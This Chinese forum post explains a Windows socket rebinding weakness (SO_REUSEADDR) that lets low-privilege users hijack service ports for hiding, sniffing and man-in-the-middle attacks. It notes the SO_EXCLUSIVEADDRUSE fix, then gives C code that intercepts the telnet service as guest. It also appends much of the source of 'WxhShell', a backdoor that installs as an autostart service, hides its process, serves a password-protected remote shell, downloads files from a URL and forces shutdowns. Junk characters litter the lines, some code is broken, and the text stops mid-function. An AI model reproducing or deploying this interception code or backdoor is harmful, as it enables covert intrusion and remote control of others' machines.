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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `dV2\^*A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |}:}14ty  
oOND]>  
  saddr.sin_family = AF_INET; "y"oV[`  
_|12BVq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8e>B>'nH  
rrRv 7J&Q  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 5?`4qSUz  
: pUu_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 .tG3g:  
_xh)]R  
  这意味着什么?意味着可以进行如下的攻击: [q!]Ds" _  
k-n`R)p:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e`={_R{N  
K% FK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &t8,326;  
pp(09y`]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =Mwuhk|*  
1O0. CC,p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  G) KI{D  
>qNpY(Ql  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 XV%R Mr6  
Wfd`v  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @, fvWNI  
hzM;{g>t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 2qE_SSXn  
#N`G2}1J  
  #include MnFrQC  
  #include <bhGpLh-E  
  #include +d=f_@i  
  #include    ,5W u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   h?/E/>  
  int main() Z ;rM@x  
  { H*k\C  
  WORD wVersionRequested; }(u:K}8  
  DWORD ret; r-$xLe7a  
  WSADATA wsaData; q>'#;QA  
  BOOL val; D6@ c|O{Q  
  SOCKADDR_IN saddr; !5De?OXe   
  SOCKADDR_IN scaddr;  \8C<nh  
  int err; *GXPN0^Qjo  
  SOCKET s; ;6hoG(3 +  
  SOCKET sc; 8Pd9&/Y  
  int caddsize; w=_^n]`R  
  HANDLE mt; 5TpvJ1G  
  DWORD tid;   ,^e2ma|z  
  wVersionRequested = MAKEWORD( 2, 2 ); b(|&e  
  err = WSAStartup( wVersionRequested, &wsaData ); :F"IOPfU5[  
  if ( err != 0 ) { <& PU%^Ha  
  printf("error!WSAStartup failed!\n"); sS{Co8EJn  
  return -1; ^ wZx=kas  
  } TC<Rg?&yb  
  saddr.sin_family = AF_INET; w?u3e+  
   jG&HPVr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \Db`RvEmR  
3S_H&>K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;\A_-a_(#  
  saddr.sin_port = htons(23); +|g*<0T5<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rQT%~oM:  
  { LYYz=oZOE!  
  printf("error!socket failed!\n"); e?;c9]XO,o  
  return -1; .u ikte  
  } +2:HgW  
  val = TRUE; . U6(>6-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 O&/n BHu\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) >ryA:TO{  
  { 2 ^"j]g>mj  
  printf("error!setsockopt failed!\n"); ,(h -  
  return -1; -?#iPvk6  
  } IfB .2e`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Z}0{FwW"4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z>g&%3j  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 y-H9fWi8Y&  
kw z6SObQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `,~'T [  
  { T$0)un  
  ret=GetLastError(); A405igF  
  printf("error!bind failed!\n"); 0#'MR.,  
  return -1; g"'BsoJ  
  } :F6dXW  
  listen(s,2); dr"$@  
  while(1) nl(GoX$vRQ  
  { jcJ@A0]  
  caddsize = sizeof(scaddr); V/\Y(Mxc  
  //接受连接请求 ]Zh$9YK  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); M __S)  
  if(sc!=INVALID_SOCKET) ?QKD YH(  
  { w6> P[oW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `'iO+/;GY  
  if(mt==NULL) ;lE=7[UJ3X  
  { r$4d4xtK  
  printf("Thread Creat Failed!\n"); E7R%G OH  
  break; 0OG 3#pE  
  } )skpf%g  
  } 71E~~$  
  CloseHandle(mt); 0s//&'*Q  
  } Yg5o!A  
  closesocket(s); o` QH8  
  WSACleanup(); yR{rje*  
  return 0; ))dqC l  
  }   *"_W1}^  
  DWORD WINAPI ClientThread(LPVOID lpParam) pLF,rOb  
  { $FT6c@&y  
  SOCKET ss = (SOCKET)lpParam; _\IA[-C+O  
  SOCKET sc; $Lfbt=f  
  unsigned char buf[4096]; X4\T=Q?uLx  
  SOCKADDR_IN saddr; Or$"f3gq  
  long num; v]@ XyF\j8  
  DWORD val; T}?b,hNl$  
  DWORD ret; T[e+iv<8j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 sF :pwI5^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v~AshmP  
  saddr.sin_family = AF_INET; k t!@}QP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); k9H}nP$F  
  saddr.sin_port = htons(23); rIB./,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $;=^|I4E  
  { ktfxb <%  
  printf("error!socket failed!\n"); /oEDA^qx  
  return -1; n4{?Odrf  
  } 73!NoDxb  
  val = 100; CTg79 ITYk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %}N01P|X>  
  {  y"Fu=  
  ret = GetLastError(); tkptm%I _  
  return -1; '6\w4J(  
  } c^H#[<6p  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Cz5U  
  { wO!>kc<  
  ret = GetLastError(); o@ ^^;30  
  return -1; so.}WU  
  } )!VJ\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $ SA @ "  
  { (aJ$1bT=T  
  printf("error!socket connect failed!\n"); :rufnmsP<U  
  closesocket(sc); ^j.3'}p  
  closesocket(ss); YsCY~e&  
  return -1; /8:e| ]  
  } +6+1N)L  
  while(1) Kn1u1@&Xd  
  { Z{%W!>0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 kda*rl~c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e$ QMR.'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =7kn1G.(  
  num = recv(ss,buf,4096,0); .& bc3cW  
  if(num>0) ]o'dr r  
  send(sc,buf,num,0); G]xN#O;  
  else if(num==0) p[|V7K'Z  
  break; >#S}J LZ  
  num = recv(sc,buf,4096,0); Cv>~%<   
  if(num>0) h0 %M+g  
  send(ss,buf,num,0); D=D.s)ns*  
  else if(num==0) }YC=q  
  break; w0yzC0yBk  
  } `;R$Ji=>  
  closesocket(ss); I%[Tosud<  
  closesocket(sc); w0=/V[fs  
  return 0 ; \zA3H$Df~  
  } g=v'[JPd  
'>bn94$  
F|VHr@%  
========================================================== GM^H )8U  
!3c+}j-j  
下边附上一个代码,,WXhSHELL .;bU["fn)  
,B x0  
========================================================== pXQ$n:e  
S:g6z'e1  
#include "stdafx.h" L1k  
l%i*.b(  
#include <stdio.h> X?r$o>db  
#include <string.h> e&(Wn2)o  
#include <windows.h> qgWsf-di=  
#include <winsock2.h> if1)AE-  
#include <winsvc.h> Mz) r'  
#include <urlmon.h> n sN n>{  
a|dgK+[  
#pragma comment (lib, "Ws2_32.lib") BdvpG  
#pragma comment (lib, "urlmon.lib") y{P~!Yn|  
E 6Uj8]P`  
#define MAX_USER   100 // 最大客户端连接数 %[L/JJbP&Z  
#define BUF_SOCK   200 // sock buffer I&1.}{G>F  
#define KEY_BUFF   255 // 输入 buffer i(# Fjp  
{~\:4  
#define REBOOT     0   // 重启 r|bGn#^  
#define SHUTDOWN   1   // 关机 #{)mr [c|  
1csbuR?  
#define DEF_PORT   5000 // 监听端口 o {q8An)  
H-m).^  
#define REG_LEN     16   // 注册表键长度 JNvgUb'U  
#define SVC_LEN     80   // NT服务名长度 B/~ubw  
Gh3f^PWnc  
// 从dll定义API $b_~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YD~(l-?"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &d!ASa  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Hp(41Eb,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :q2RgZE  
:.-KM7tDI1  
// wxhshell配置信息 L&5zr_  
struct WSCFG { yRhD<*  
  int ws_port;         // 监听端口 axXR-5c  
  char ws_passstr[REG_LEN]; // 口令 3][   
  int ws_autoins;       // 安装标记, 1=yes 0=no I[ 06R  
  char ws_regname[REG_LEN]; // 注册表键名 2of+KI:  
  char ws_svcname[REG_LEN]; // 服务名 ^}z:FI   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /Vv)00  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~( rZ)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 sG|,#XQ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gV5mERKs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O15~\8#'  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &MONg=s3  
1iM(13jW  
}; d-8g  
S->Sp  
// default Wxhshell configuration 5VN~?#K  
struct WSCFG wscfg={DEF_PORT, ,>pv>)u{  
    "xuhuanlingzhe", !0X"^VB  
    1, K_X(j$2Xc  
    "Wxhshell", eNFA.*p<  
    "Wxhshell", $nf %<Q  
            "WxhShell Service", Bq,Pk5b  
    "Wrsky Windows CmdShell Service", pqbKPpG  
    "Please Input Your Password: ", D/2;b;-  
  1, u<+RA  
  "http://www.wrsky.com/wxhshell.exe", MLDAr dvK  
  "Wxhshell.exe" J,`I>^G  
    }; THwq~c'  
PXDJ[Oj7(0  
// 消息定义模块 Qeq=4Nq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; RHt~:D3*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; BJZGQrsz  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eTtiAF=bW  
char *msg_ws_ext="\n\rExit."; # o\&G@e}  
char *msg_ws_end="\n\rQuit."; bU4\Yu   
char *msg_ws_boot="\n\rReboot..."; 1eS@ihkP  
char *msg_ws_poff="\n\rShutdown..."; Ei@al>.\  
char *msg_ws_down="\n\rSave to "; URyY^+s  
'EU|w,GL}  
char *msg_ws_err="\n\rErr!"; 8PRB_ny  
char *msg_ws_ok="\n\rOK!"; 5XNFu C9E  
DCCij N  
char ExeFile[MAX_PATH]; s*kSl:T @O  
int nUser = 0; aQ1n1OBr  
HANDLE handles[MAX_USER]; \AD|;tA\vE  
int OsIsNt; (rf8"T!"  
<$ nMqUu0  
SERVICE_STATUS       serviceStatus; Wb{8WPS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `~qVo4V6Z  
1lv. @-  
// 函数声明 ':T"nORC  
int Install(void); \mwxV!!b$  
int Uninstall(void);  !h* F58  
int DownloadFile(char *sURL, SOCKET wsh); wA%,_s/U  
int Boot(int flag); dM5N1$1,  
void HideProc(void); pA5X<)~   
int GetOsVer(void); t(- 5l  
int Wxhshell(SOCKET wsl); pH?"@  
void TalkWithClient(void *cs); m8v=pab e  
int CmdShell(SOCKET sock); :\#/T,K"  
int StartFromService(void); ]=5D98B  
int StartWxhshell(LPSTR lpCmdLine); *C^`+*}OE$  
^0"[l {  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /gLi(Uw  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s|Zv>Qt  
$Mqw)X&q  
// 数据结构和表定义 ARid   
SERVICE_TABLE_ENTRY DispatchTable[] = kc"SUiy/  
{ _ 3jY,*  
{wscfg.ws_svcname, NTServiceMain}, `vrLFPdO  
{NULL, NULL} % wh>_Ho  
}; `S/;S<';  
a#P{[  
// 自我安装 ey[+"6Awne  
int Install(void) d ?OsVT; U  
{ {(`xA,El  
  char svExeFile[MAX_PATH]; qH*Fv:qnM  
  HKEY key; ^:m7Qd?Z[  
  strcpy(svExeFile,ExeFile); \;Q:a /ur9  
#mcGT\tQ  
// 如果是win9x系统,修改注册表设为自启动 q6N6QI8/  
if(!OsIsNt) { 'Y-Y By :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2NqO,B|R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p GSS   
  RegCloseKey(key); Y[alOJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~@ hiLW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }tH6E  
  RegCloseKey(key); GMoE,L  
  return 0; Nc[u?-  
    } B3&`/{u  
  } Ha20g/ UN.  
} ^e WD4Vp|4  
else { K<ok1g'0  
\@:mq]Y  
// 如果是NT以上系统,安装为系统服务 3R$*G8v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W&0KO-}ot  
if (schSCManager!=0) !5[5l!{x  
{ 2z0 27P-Q  
  SC_HANDLE schService = CreateService x]jJ  
  ( X/`M'8v.%  
  schSCManager, *`wgqin  
  wscfg.ws_svcname, A;C)#Q/  
  wscfg.ws_svcdisp, G8!* &vR/  
  SERVICE_ALL_ACCESS, c7(Lk"G8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YST{ h{  
  SERVICE_AUTO_START, yixAG^<  
  SERVICE_ERROR_NORMAL, G![JRJxQ  
  svExeFile, nJ~5ICyd  
  NULL, >-Q=o,cl%3  
  NULL, 6.g k6  
  NULL, JQ]A"xTIa*  
  NULL, WkR=(dss8  
  NULL 924a1  
  ); H)O I&?  
  if (schService!=0) E?[]N[0Kl  
  { ,[<+7  
  CloseServiceHandle(schService); @a}jnl(2  
  CloseServiceHandle(schSCManager); l^%W/b>?b  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K';x2ffj  
  strcat(svExeFile,wscfg.ws_svcname); :f5"w+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [}t^+^/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mR6hnKa_53  
  RegCloseKey(key); /p_#8}Uh  
  return 0; E*X-f"  
    } ^26}j uQ  
  } t bEJyA  
  CloseServiceHandle(schSCManager); %6@->c{  
} JP*VR=0k?  
} r5S5;jL%t  
Z1ZjQt#~+  
return 1; &)v}oHy,m  
} Sn!5/9Y  
DDwm;,eZ  
// 自我卸载 N.@@ebuE  
int Uninstall(void) 1A.ecv'  
{ aJ^RY5  
  HKEY key; =S:Snk%  
R;EdYbiF b  
if(!OsIsNt) { zyi;vu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w_]`)$9  
  RegDeleteValue(key,wscfg.ws_regname); p? L*vcU  
  RegCloseKey(key); QNe siV0MI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .-HwT3  
  RegDeleteValue(key,wscfg.ws_regname); - HiRXB  
  RegCloseKey(key); #[.aj2  
  return 0; | )M>;q   
  } %d"d<pvx  
} C6{\^kG^j2  
} _?QVc0S!  
else { #9ZHt5T=$  
M=Cl|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =/SBZLR(9  
if (schSCManager!=0) ]XhX aoqL  
{ KoKd.%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G=l-S\0@  
  if (schService!=0) YecV+ K'p:  
  { XlDN)b5v{  
  if(DeleteService(schService)!=0) { Vx*O^cM  
  CloseServiceHandle(schService); ].r~?9'/  
  CloseServiceHandle(schSCManager); ztb?4f q6)  
  return 0; ^'ac |+  
  } e'0BP,\f_}  
  CloseServiceHandle(schService); hWD%_"yhd  
  } -b$m<\0*  
  CloseServiceHandle(schSCManager); 4(D/~OG-6  
} ]<Kkq !  
} " ';K$&,[  
*~SanL\  
return 1; Q.Xs%{B  
} LZH~VkK@m}  
'K*. ?M  
// 从指定url下载文件 ]L{diD 2G  
int DownloadFile(char *sURL, SOCKET wsh) )]M,OMYq-  
{ _-5|"oJ  
  HRESULT hr; ]CxD m  
char seps[]= "/"; zSo(+D &[  
char *token; U~1)a(Yu;  
char *file; ALXie86a8  
char myURL[MAX_PATH]; 7w51UmO  
char myFILE[MAX_PATH]; P}8cSX9  
~ NZC0&  
strcpy(myURL,sURL); s_}q  
  token=strtok(myURL,seps); }NpN<C+  
  while(token!=NULL) wlsq[x P  
  { 0 n}2D7  
    file=token; ,y}@I"  
  token=strtok(NULL,seps); *r(Qy0(  
  } {U"=}j(  
d`9ofw~3=  
GetCurrentDirectory(MAX_PATH,myFILE); !hWS%m@  
strcat(myFILE, "\\"); yB2}[1  
strcat(myFILE, file); WiiAIv&  
  send(wsh,myFILE,strlen(myFILE),0); IC6r?  
send(wsh,"...",3,0); +*L<"@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k$3Iv"gbx  
  if(hr==S_OK) b>]k=zd  
return 0; /^hc8X  
else Aa4 DJ  
return 1; r&3EM[*Iw  
%fMFcL#h  
} R1vuf*A5,  
,xI FF-[0  
// 系统电源模块 9v@P|  
int Boot(int flag) i+ICgMcd  
{ "DvhAEM  
  HANDLE hToken; F4DJML-(  
  TOKEN_PRIVILEGES tkp; ]8f$&gw&A  
ToR@XL!%rP  
  if(OsIsNt) { "6q@}sz!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \c4D|7\=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7Fzj&!>ti  
    tkp.PrivilegeCount = 1; sT'j36Nc<,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 08G${@D+X0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U(/8dCyyY  
if(flag==REBOOT) { weC.k x   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TpcJ1*t  
  return 0; oLIgj,k{*  
} Zk~~`h  
else { EslHml#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N"8'=wB  
  return 0; Y^tUcBm\  
} =z!/:M  
  } unc8WXW  
  else { L<k(stx~  
if(flag==REBOOT) { Q6;bORN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =$SvKzN  
  return 0; V 5D8z  
} QjOY1Xze  
else { sB8v:  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) lk.Mc6)  
  return 0; bT15jNa  
} u0F{.fe  
} MO%+rf0~w  
9#E)H?`g  
return 1; 089v; d 6  
} 'U-8w@\Z  
P!dSJ1'oC  
// win9x进程隐藏模块 ~S\8 '  
void HideProc(void) 5a&BgBO1M  
{ zl<D"eP  
<:4b4Nl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SZvp %hS0  
  if ( hKernel != NULL ) ipyc(u6Z5  
  { CsEU:v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A|YiSwyy  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _*ar\A`  
    FreeLibrary(hKernel); XhUVDmeUMb  
  } f7/M_sx  
OlP1Zd/l  
return; q $PO. #  
} {F;"m&3Lt  
^hcK&  
// 获取操作系统版本 '^`iF,rg  
int GetOsVer(void) wZVLpF+7  
{ _Kbj?j  
  OSVERSIONINFO winfo; Ca -.&$f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7(d#zu6n  
  GetVersionEx(&winfo); @r=,: 'Mt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '<$*N  
  return 1; :7~DiH:Q  
  else 1zgM$p  
  return 0; ;3XOk+  
} 6)c-s|#  
{YG qa$+\  
// 客户端句柄模块 p'A43  
int Wxhshell(SOCKET wsl) wLzV#8>  
{ "U/yq  
  SOCKET wsh; Nw{Cu+AwG  
  struct sockaddr_in client; iJ`zWpj+{Q  
  DWORD myID; tz5\O}  
a7!{`fR5  
  while(nUser<MAX_USER) L;WFHIE  
{ 0BH-kr  
  int nSize=sizeof(client); Xl:.`{5L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a(kY,<}  
  if(wsh==INVALID_SOCKET) return 1; ^1yD&i'q  
!%[fi[p  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1 @i/N  
if(handles[nUser]==0) Nt\0) &b  
  closesocket(wsh); ^*w}+tB  
else "T*1C=  
  nUser++; sX-@ >%l  
  } 3m$ck$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?aI. Z+#  
f!H/X%F  
  return 0; H%>^_:h  
} Lrmhr3 w5  
`"o{MaFA  
// 关闭 socket virt[5w  
void CloseIt(SOCKET wsh) (\'$$  
{ zp5ZZcj_  
closesocket(wsh); ZL:SJ,C  
nUser--; 6AoKuT;  
ExitThread(0); IJVzF1vC  
} [] el4.J,  
lF t^dl^  
// 客户端请求句柄 ?C- ju8]|  
void TalkWithClient(void *cs) U1(cBY  
{ v!$:t<-5N  
j^WYM r,  
  SOCKET wsh=(SOCKET)cs; j+rY  
  char pwd[SVC_LEN]; "l hj1zZ  
  char cmd[KEY_BUFF]; 0wCQPvO  
char chr[1]; |3^U\r^zo  
int i,j; r-*j"1 e  
N.0g%0A.D  
  while (nUser < MAX_USER) { mZM,"Wq,  
CI-1>= "OE  
if(wscfg.ws_passstr) { ahQY-%>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4j8$& ~/  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r Nurzag  
  //ZeroMemory(pwd,KEY_BUFF); mi.,Z`]o  
      i=0; kBxEp/y  
  while(i<SVC_LEN) { W 1u!&:O  
)+DDIq  
  // 设置超时 w!z* ?k=Da  
  fd_set FdRead; X%iJPJLza  
  struct timeval TimeOut; R1/c@HQw?  
  FD_ZERO(&FdRead); =XK}eQ_d  
  FD_SET(wsh,&FdRead); | KY-kRN7  
  TimeOut.tv_sec=8; <LzxnTx=  
  TimeOut.tv_usec=0; V%z?wDC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 5S, Kq35$(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); T "hjL  
wph8ln"C-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;mRZ_^V;  
  pwd=chr[0]; B"zB=Aw  
  if(chr[0]==0xd || chr[0]==0xa) { Xk/iyp/  
  pwd=0; ~y?Nn8+&f  
  break; $VB dd~f  
  } \XYidj  
  i++; )2#&l  
    } "LJV}L  
SF9NS*mr  
  // 如果是非法用户,关闭 socket q"6$#o{~U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IUDH"~f  
} ~Uey'Xz  
ijUu{PG`X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tTF<DD}8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _C (fz CK  
{}rnn$HQe  
while(1) { 5Zd oem  
^#Mp@HK  
  ZeroMemory(cmd,KEY_BUFF); N  /'  
.ZV='i()X  
      // 自动支持客户端 telnet标准   Srz8sm;  
  j=0; sp MYn&p  
  while(j<KEY_BUFF) { q |FOU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wy8Q=X:vP  
  cmd[j]=chr[0]; NbTaI{r  
  if(chr[0]==0xa || chr[0]==0xd) { wy .96   
  cmd[j]=0; ^< ;C IXo  
  break; EpQy;#=;  
  } aSu^  
  j++; 4/k`gT4  
    } e9 @{[  
wu><a!3`=o  
  // 下载文件 /-i m g^^  
  if(strstr(cmd,"http://")) { ivn2   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D[?;+g/  
  if(DownloadFile(cmd,wsh)) !icI Rqcf=  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-2#CX8jY  
  else PTLlLa85<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "(vK.-T  
  } ^1vKhO+p$  
  else { UP$>,05z6  
L6DYunh}^N  
    switch(cmd[0]) { rfYa<M Qc  
  lS#: u-k  
  // 帮助 +3o0GJ   
  case '?': { <\fA}b  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?|/K(}  
    break; dQZdL4  
  } K;WQV,  
  // 安装 'S9o!hb'@  
  case 'i': { a/J Mg   
    if(Install()) c61OT@dZEA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `/`iLso& -  
    else aL*MCgb'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Eccj`\e g  
    break; ep?D;g  
    } U._fb=  
  // 卸载 0ju-l= w  
  case 'r': { LU+SuVm  
    if(Uninstall()) Bpm COA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 24k]X`/n  
    else '*65j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dKCl#~LAI'  
    break; 3)ox8,{%}  
    } 7<*0fy5nn  
  // 显示 wxhshell 所在路径 _z8"r&  
  case 'p': { VFx[{Hy  
    char svExeFile[MAX_PATH]; li v=q  
    strcpy(svExeFile,"\n\r"); CHZ/@gc  
      strcat(svExeFile,ExeFile); |>.MH  
        send(wsh,svExeFile,strlen(svExeFile),0); @'):rFr@F  
    break; 3<"j/9;K'  
    } @&`^#pok  
  // 重启 O ylUuYy~j  
  case 'b': { i&^JG/a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {Ji&rk}NP  
    if(Boot(REBOOT)) )B"{B1(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2uN3:_w  
    else { DbLo{mFEIj  
    closesocket(wsh); dO%f ;m>#  
    ExitThread(0); R!QR@*N  
    } H"(#Tp ZTE  
    break; O8b#'f~  
    } cW_wIy\]&  
  // 关机 J$42*SY  
  case 'd': { f=}T^Z<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ymqv@Byi8A  
    if(Boot(SHUTDOWN)) %K')_NS@  
